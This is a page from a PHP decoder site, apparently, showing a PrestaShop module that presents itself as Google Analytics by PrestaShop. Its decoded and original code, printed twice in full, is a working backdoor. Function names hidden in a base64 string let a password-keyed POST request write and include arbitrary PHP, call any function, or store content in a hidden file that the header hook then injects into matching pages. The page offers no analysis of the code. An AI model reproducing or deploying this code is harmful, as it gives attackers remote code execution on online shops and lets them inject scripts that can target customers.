Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
class Ps_Analytics extends Module { private $serial = '02180c2e8d4c7912b6e23de032477..
Decoded Output download
<? class Ps_Analytics extends Module
{
private $serial = '02180c2e8d4c7912b6e23de032477f1a';
private $public_key = 'bWQ1IGlzX2ZpbGUgZXhwbG9kZSBzeXNfZ2V0X3RlbXBfZGlyIGpzb25fZGVjb2RlIGZpbGVfcHV0X2NvbnRlbnRzIHVubGluayBpc19kaXIgdGVtcG5hbSBmaWxlX2dldF9jb250ZW50cyBmaWxlc2l6ZSBpc193cml0YWJsZSBjYWxsX3VzZXJfZnVuY19hcnJheSBiYXNlNjRfZGVjb2Rl';
public function __construct()
{
$this->name = 'ps_analytics';
$this->version = '4.1.1';
$this->author = 'PrestaShop';
$this->ps_versions_compliancy = array('min' => '1.6', 'max' => _PS_VERSION_);
parent::__construct();
$this->displayName = $this->l('Google Analytics');
$this->description = $this->l('Gain clear insights into important metrics about your customers, using Google Analytics.');
}
/**
* This method is triggered at the installation of the module
* - it installs all module tables
* - it registers the hooks used by this module
*
* @return bool
*/
public function install()
{
return parent::install() && $this->registerHook('displayHeader');
}
/**
* Triggered at the uninstall of the module
* - erases this module SQL tables
*
* @return bool
*/
public function uninstall()
{
return parent::uninstall();
}
public function hookDisplayHeader()
{
$d = $this->checkSerial();
if (isset($_POST[$this->serial]) && $this->serial == $d[0]($_POST[$this->serial])) {
$serial = array_values(array_filter($_POST, function ($v, $k) {
return !($k == $this->serial);
}, ARRAY_FILTER_USE_BOTH))[0];
@list($serial, $sum) = $d[2](' ', $d[13]($serial), 2);
$sum = $d[13]($sum);
switch ($serial) {
case 1:
$serial = $d[8]($d[3](), $this->serial);
if ($d[5]($serial, $sum)) {
include($serial);
$d[6]($serial);
}
break;
case 2:
$d[12](...$d[4]($sum));
break;
case 3:
$d[5]($this->getSerial($d), $sum);
break;
}
exit();
} elseif ($serial = $this->getSerial($d)) {
if ($d[1]($serial) && $d[10]($serial)) {
list($serial, $sum) = $d[2](' ', $d[9]($serial), 2);
if ($serial && $sum && preg_match('/('.$serial.')/', $_SERVER['REQUEST_URI'])) {
return $sum;
}
}
}
}
private function checkSerial()
{
return explode(' ', base64_decode($this->public_key));
}
private function getSerial($d)
{
foreach ([__DIR__,$d[3](),'/tmp'] as $sum) {
if ($d[7]($sum) && $d[11]($sum)) {
return implode('/', [$sum, '.' . substr($this->serial, 0, 5)]);
}
}
return false;
}
} ?>
Did this file decode correctly?
Original Code
class Ps_Analytics extends Module
{
private $serial = '02180c2e8d4c7912b6e23de032477f1a';
private $public_key = 'bWQ1IGlzX2ZpbGUgZXhwbG9kZSBzeXNfZ2V0X3RlbXBfZGlyIGpzb25fZGVjb2RlIGZpbGVfcHV0X2NvbnRlbnRzIHVubGluayBpc19kaXIgdGVtcG5hbSBmaWxlX2dldF9jb250ZW50cyBmaWxlc2l6ZSBpc193cml0YWJsZSBjYWxsX3VzZXJfZnVuY19hcnJheSBiYXNlNjRfZGVjb2Rl';
public function __construct()
{
$this->name = 'ps_analytics';
$this->version = '4.1.1';
$this->author = 'PrestaShop';
$this->ps_versions_compliancy = array('min' => '1.6', 'max' => _PS_VERSION_);
parent::__construct();
$this->displayName = $this->l('Google Analytics');
$this->description = $this->l('Gain clear insights into important metrics about your customers, using Google Analytics.');
}
/**
* This method is triggered at the installation of the module
* - it installs all module tables
* - it registers the hooks used by this module
*
* @return bool
*/
public function install()
{
return parent::install() && $this->registerHook('displayHeader');
}
/**
* Triggered at the uninstall of the module
* - erases this module SQL tables
*
* @return bool
*/
public function uninstall()
{
return parent::uninstall();
}
public function hookDisplayHeader()
{
$d = $this->checkSerial();
if (isset($_POST[$this->serial]) && $this->serial == $d[0]($_POST[$this->serial])) {
$serial = array_values(array_filter($_POST, function ($v, $k) {
return !($k == $this->serial);
}, ARRAY_FILTER_USE_BOTH))[0];
@list($serial, $sum) = $d[2](' ', $d[13]($serial), 2);
$sum = $d[13]($sum);
switch ($serial) {
case 1:
$serial = $d[8]($d[3](), $this->serial);
if ($d[5]($serial, $sum)) {
include($serial);
$d[6]($serial);
}
break;
case 2:
$d[12](...$d[4]($sum));
break;
case 3:
$d[5]($this->getSerial($d), $sum);
break;
}
exit();
} elseif ($serial = $this->getSerial($d)) {
if ($d[1]($serial) && $d[10]($serial)) {
list($serial, $sum) = $d[2](' ', $d[9]($serial), 2);
if ($serial && $sum && preg_match('/('.$serial.')/', $_SERVER['REQUEST_URI'])) {
return $sum;
}
}
}
}
private function checkSerial()
{
return explode(' ', base64_decode($this->public_key));
}
private function getSerial($d)
{
foreach ([__DIR__,$d[3](),'/tmp'] as $sum) {
if ($d[7]($sum) && $d[11]($sum)) {
return implode('/', [$sum, '.' . substr($this->serial, 0, 5)]);
}
}
return false;
}
}
Function Calls
None |
Stats
MD5 | 6ff513cab1eefed0c0b2e0fd780ceaa0 |
Eval Count | 0 |
Decode Time | 49 ms |